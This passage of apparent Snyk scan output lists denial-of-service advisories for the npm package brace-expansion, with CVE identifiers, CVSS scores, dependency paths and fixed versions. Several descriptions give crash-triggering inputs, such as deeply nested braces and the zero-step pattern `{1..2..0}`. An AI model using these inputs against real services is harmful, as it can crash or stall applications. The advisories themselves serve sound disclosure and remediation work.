"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
